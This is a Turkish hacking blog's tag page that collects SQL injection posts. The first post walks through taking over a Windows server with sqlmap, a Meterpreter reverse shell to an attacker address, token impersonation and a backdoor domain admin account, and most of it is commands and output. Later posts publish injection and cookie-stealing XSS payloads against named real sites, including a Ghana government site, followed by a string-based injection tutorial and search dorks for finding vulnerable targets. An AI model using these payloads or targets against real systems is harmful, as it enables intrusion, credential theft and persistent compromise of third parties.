SQL İnjecktion etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
SQL İnjecktion etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

12 Eylül 2012 Çarşamba

SQL Injection Aracılığıyla Domain Admin Olma

SQL Injection(+UDF Command Execution) Kullanarak Domain Admin Haklarını Elde Etme

Sql Injection saldırıları genellikle veri tabanı sistemlerinden bilgi çalmak için gerçekleştirilmektedir. Veri çalma saldırıları dışında, hedef sistemin kullandığı veri tabanı sisteminin çalıştığı sunucuda komut çalıştırma saldırılarıda yapılabilmektedir.


Bu dökümanda MySQL ve PostgreSQL sistemlerine yapılan saldırılar ele alınmıştır.

MySQL ve PostgreSQL veri tabanı sistemleri, “shared libraries” desteği vermektedirler. Shared Libraries için kullanıcıların kendi tanımladıkları veri tabanı fonksiyonlarının bulunduğu kütüphaneler diyebiliriz. Eğer bu kütüphanelerin binary halleri, hedef veri tabanı sisteminin “shared libraries” tanımak için belirttiği dizine yerleştirilebilirse, özelleştirilmiş bu fonksiyonlar veri tabanı sistemine dahil edilebilir.

– sys_eval(cmd): Çalışan komutun çıktısı olarak standart çıktıyı döndürür.

– sys_exec(cmd): Çalışan komutun çıktısı olarak durumunu döndürür.


Kullanıcı taraflı tanımlanmış olan bu iki metod’un bulunduğu kütüphane, hedef veri tabanı sistemine dahil edilebilirse. Ardından hedef işletim sistemi üzerinde komut çalıştırılabilmektedir.


Bu kütüphanelerin kaynak kodlarını görmek için, işletim sistemi ve mimariye göre sınıflandırılmış olan sqlmap’in github kaynağına göz atabilirsiniz.


https://github.com/sqlmapproject/udfhack


Hedef işletim sisteminde komut çalıştırabiliyor olmak, hedef sisteme zararlı yazılım yükleme işleminide beraberinde getirmektedir. Sqlmap aracı, hedef sistemi meterpreter ajanı ile ele geçirmek üzere kullanılabilmektedir. Örnekte bu saldırı ele alınmıştır.


I. Adım = Hedef sistemdeki SQL Injection açığlığının tespit edilmesi


root@bt:/sqlmap# python sqlmap.py -u "http://pentest.hack2net.com/sqli-test.aspx?bgatestID=684"


Hedef sistemde bulunan SQL Injection zafiyeti ile 3 türde saldırı yapılabilmektedir.

---

Place: GET

Parameter: bgatestID

   Type: error-based
   Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

   Type: UNION query
   Title: Generic UNION query (NULL) - 2 columns

   Type: stacked queries
   Title: MySQL > 5.0.11 stacked queries
---


II. Adım: Hedef sistemesql injection kullanarak  meterpreter ajanı yüklenmesi( --os-pwn parametresi)


root@bt:/sqlmap# python sqlmap.py -u "http://pentest.hack2net.com/sqli-test.aspx?bgatestID=1" --os-pwn


Hedef sistem hakkında bilgilerin girilmesi.


[13:29:45] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2008

web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.

back-end DBMS: MySQL 5.0

[1] TCP: Metasploit Framework (default)

[2] ICMP: icmpsh - ICMP tunneling

> 1


[13:30:14] [INFO] testing if current user is DBA

[13:30:14] [INFO] fetching current user

what is the back-end database management system architecture?

[1] 32-bit (default)

[2] 64-bit

> 2



Hedef sistemde C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/ dizini altına kendi kütüphanemiz yüklenmiştir. Bu kütüphane içinde komut çalıştırabilen 2 adet metod tanımlıdır
.

[
13:30:23] [INFO] creating UDF 'sys_bineval' from the UDF binary file.
[13:30:23] [INFO] creating UDF 'sys_exec' from the UDF binary file.

do you want confirmation that the file 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/libsmtqp.dll' has been successfully written on the back-end DBMS file system?
[Y/n] Y

Hedef sisteme kütüphanelerin eklenmesi başarıyla gerçekleştirilmiştir. Şimdi ise hedefe gönderilecek meterpreter ajanının hangi teknik ile çalıştırılacağı seçilecektir.


Örnekte 2. şık ile hedef sistemin diskine .exe dosyası eklenmesini tercih edilmiştir. 1.şık ise meterpreter ajanının direk memory üzerinde çalışması yöntemidir.


[13:30:52] [INFO] the file has been successfully written and its size is 11264 bytes, same size as the local file '/sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll'

[13:30:53] [INFO] creating UDF 'sys_bineval' from the binary UDF file

[13:30:53] [INFO] creating UDF 'sys_exec' from the binary UDF file

how do you want to execute the Metasploit shellcode on the back-end database underlying operating system?

[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)

[2] Via shellcodeexec (file system way, preferred on 64-bit systems)

> 2


Hedef işletim sisteminde çalışacak ajanın merkez ile (saldırgan ile) hangi teknik üzerinden iletişimde bulunacağının tercihi yapılmıştır.
Hedefin NAT arkasında bir sistem olma ihtimalinden ötürü Reverse TCP tekniği seçilmiştir. Ardından ise Reverse TCP tekniği ile hangi ip adresinin hangi portuna bağlantının kurulacağı gibi bilgiler girilmektedir.


[13:31:16] [INFO] creating Metasploit Framework multi-stage shellcode

which connection type do you want to use?

[1] Reverse TCP: Connect back from the database host to this machine (default)

[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535

[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP

[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS

[5] Bind TCP: Listen on the database host for a connection

> 1

which is the local address? [11.22.33.44] 11.22.33.44

which local port number do you want to use? [10991] 80

which payload do you want to use?

[1] Meterpreter (default)

[2] Shell

[3] VNC

> 1


Hedef sistemde C:/Windows/Temp/shellcodeexec.x32.exe dizinine meterpreter ajanı SQL Injection saldırısı ile yerleştirilmiştir.


[13:31:58] [INFO] creation in progress ........... done

[13:32:09] [INFO] uploading shellcodeexec to 'C:/Windows/Temp/shellcodeexec.x32.exe'

[13:32:10] [INFO] adjusting time delay to 1 second due to good response times

do you want confirmation that the file 'C:/Windows/Temp/shellcodeexec.x32.exe' has been successfully written on the back-end DBMS file system? [Y/n]


“Y”es butonu ile hedef yerleştirilen meterpreter ajanı çalıştırılmıştır. ve hedef veri tabanı sisteminin üzerinde çalıştığı işletim sistemi NT AUTHORITY\SYSTEM yetkileri ile ele geçirilmiştir.


Domain Admin Haklarına Geçiş


PAYLOAD => windows/meterpreter/reverse_tcp

EXITFUNC => process

LPORT => 80

LHOST => 11.22.33.44

[*] Started reverse handler on 11.22.33.44:80

[*] Starting the payload handler...

[13:32:48] [INFO] running Metasploit Framework shellcode remotely via shellcodeexec, please wait..

[*] Sending stage (752128 bytes) to 5.5.5.5

[*] Meterpreter session 1 opened (11.22.33.44:80 -> 5.5.5.5:52546) at 2012-08-21

meterpreter > success.

meterpreter > Loading extension incognito...success.

meterpreter > Computer        : BGATEST123

OS              : Windows 2008  

Architecture    : x64 (Current Process is 64)

System Language : en_US

Meterpreter     : x86/win32

meterpreter > Server username: NT AUTHORITY\SYSTEM

meterpreter >


meterpreter > impersonate_token TEST_DOMAIN123\\Administrator

[+] Delegation token available

[+] Successfully impersonated user TEST_DOMAIN123\Administrator

meterpreter > getuid

Server username: TEST_DOMAIN123\Administrator

meterpreter > shell

Process 9006 created.

Channel 1 created.

Microsoft Windows Server 2008 [Version 7.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.


C:\WINDOWS\system32> whoami

TEST_DOMAIN123\administrator


C:\WINDOWS\system32> net user bgatest bGa_pass123 /add /TEST_DOMAIN123

The command completed successfully.


C:\WINDOWS\system32> net group "TEST_DOMAIN123 Admins" bgatest /add /TEST_DOMAIN123

The command completed successfully.

Kaynak

30 Haziran 2012 Cumartesi

Ghana50.Gov Cross Site Scripting / SQL Injecktion


#######################################################

~ Exploit Title:  Ghana50.Gov Cross Site Scripting 

~ Author: Th4 MasK 

~ Software Link: http://www.ghana50.gov.gh/

~ Date : 27.06.2012 

~ Platform : Php 

# Tested On : Windows 
 
########################################################

~ Demo Site :

~ http://www.ghana50.gov.gh/tourism/index.php?op=getAshantisiteInfo&id=<script>alert(document.cookie)</script>

########################################################

~ Greetz: http://th4mask.blogspot.com ~ DarkdevilZ.in

########################################################
Special Thanks : Mugair  
######################################################## 
 
 
http://packetstormsecurity.org/files/114356/Ghana50.gov.gh-Cross-Site-Scripting.html 

17 Mart 2012 Cumartesi

ROMMA SQL İnjecktion

########################################################
~ Exploit Title: * ROMMA SQL Injecktion*~
~ Author: Th4 MasK
~ Contact to ; th4_mask[at]windowslive.com ~
~ Software Website : http://www.romma.fr/
~ Date : 16.03.2012 ~
~ Platform : Php ~
########################################################
~ Demos Site :
~ http://www.romma.fr/station_24.php?id=2031 [SQL]
#######################################################
~* Virüslerden Önce Akil Var.
########################################################
~* Bilinmezlik DiyarinDan
########################################################
* Ne Kadar Efendi OLursa Ol, HAyat O Kadar Züppe
########################################################
~* Olmassa Olmazimdir. Bazi seyler.
########################################################
~* Email:th4_mask@windowslive.com~
~ Greetz: http://th4mask.blogspot.com ~ DarkDevilZ.iN
########################################################
~ Darkness Devil,DeaDSLayeR,MuHuR,Evillord
########################################################

http://packetstormsecurity.org/files/110902/ROMMA-SQL-Injection.html

24 Şubat 2012 Cuma

Dizi Tabanlı SQL İNJECKTİON

Savunmasız SQL açıklı Bir Site Bulduğunuzda Order By Komutunu Ne Kadar Yazsakta Hata Alamazsak ?
Order By Komutu İşe Yaramazsa?
Bu Muhtemelen Dize Esaslı Enjeksiyon Kullanmak Zorunda Olduğumuzu Gösterir.


İlk Olarak Sitede SQL Hatası Almalıyız, Zaten Herkes Almayı Biliyor Varsayıyorum.
Http://Target.Com/injectpoint.php?ID=10'

Komutu Deneyelim;
Http://Target.Com/injectpoint.php?ID=10+order+by+1--

Herhangi Bir Hata Alamazsınız, ve Bu Komut 10000'e Doğru Uzar Gider.
Http://Target.Com/injectpoint.php?ID...+by+10000000--

Hala Hatadan Eser Yok…

Bu Komutu Deneyelim bir de;
Http://Target.Com/injectpoint.php?ID=10'+order+by+1--+-

Hala Hiçbir Hata Yok, Genellikle Tek Kolondan Oluşmaz
Çünkü Kolon Sayısı, O halde Siz, Bu Komutu Deneyeceksiniz;

Http://Target.com/injectpoint.php?ID...+by+100000--+-
Hatayı Aldık!

Çünkü Bir Sitede 100000 Kolon Olması İmkansız Gibi Birşey
ve String (Dize) Yöntemini Gerçekleştirdik.

Son Olarak Düzenli Bir SQL İnjection Komutu Haline Getirelim;
Http://Target.Com/injectpoint.php?ID...rder+by+10--+-

10. Kolonda Hatayı Verir Varsayıyorum.
ve Kolon Sayımız 9 Olarak Bulunur, Ardından;
Http://Target.Com/injectpoint.php?ID=10'+order+by+9--+-

Ekrana Kullanacağımız Kolon Sayıları Vurulur
Sonrasında Normal Injeksiyon Yapabiliriz;
Http://Target.Com/injectpoint.php?ID...,5,6,7,8,9--+-

Sizlerle String (Dize) Tabanlı Bir SQL Enjeksiyon Gerçekleştirmiş Olduk..

16 Şubat 2012 Perşembe

Firaxis Game SQL Injection~ Th4 MasK [ Bug Res.]


########################################################

~ Exploit Title: * Firaxis Game SQL Injection *~ 

~ Author: Th4 MasK 

~ Contact to ; th4_mask@windowslive.com ~

~ Software Website: http://www.firaxis.com/index.php

~ Date : 14.02.2012 ~ 

~ Platform : Php ~


########################################################


~ Demo Site :

~ http://www.firaxis.com/news/news_detail.php?id=2011 [SQL]

########################################################

~* Bilinmezlik DiyarinDan

########################################################

~* Olmassa Olmazimdir. Bazi seyler.

########################################################

~ Greetz: http://th4mask.blogspot.com ~ DarkdevilZ.in
 
########################################################

~ ZoRRoKiN,Mugair,Nikolay,Darkness Devil,Tekfurdagli,Evillord.MüHüR
 
######################################################## 
~* Email:th4_mask@windowslive.com~ 
 
 
http://packetstormsecurity.org/files/109797/Firaxis-Game-SQL-Injection.html 

17 Ocak 2012 Salı

Bir Kaç Bug Daha

Dork :     from=fotoarchiv&foto_id=[sqlinj]
Dork : ?back=/besucher/&suche=branche&branche_id=[sqlinj]
Dork :     ?limit=0&recherche=[sqlinj]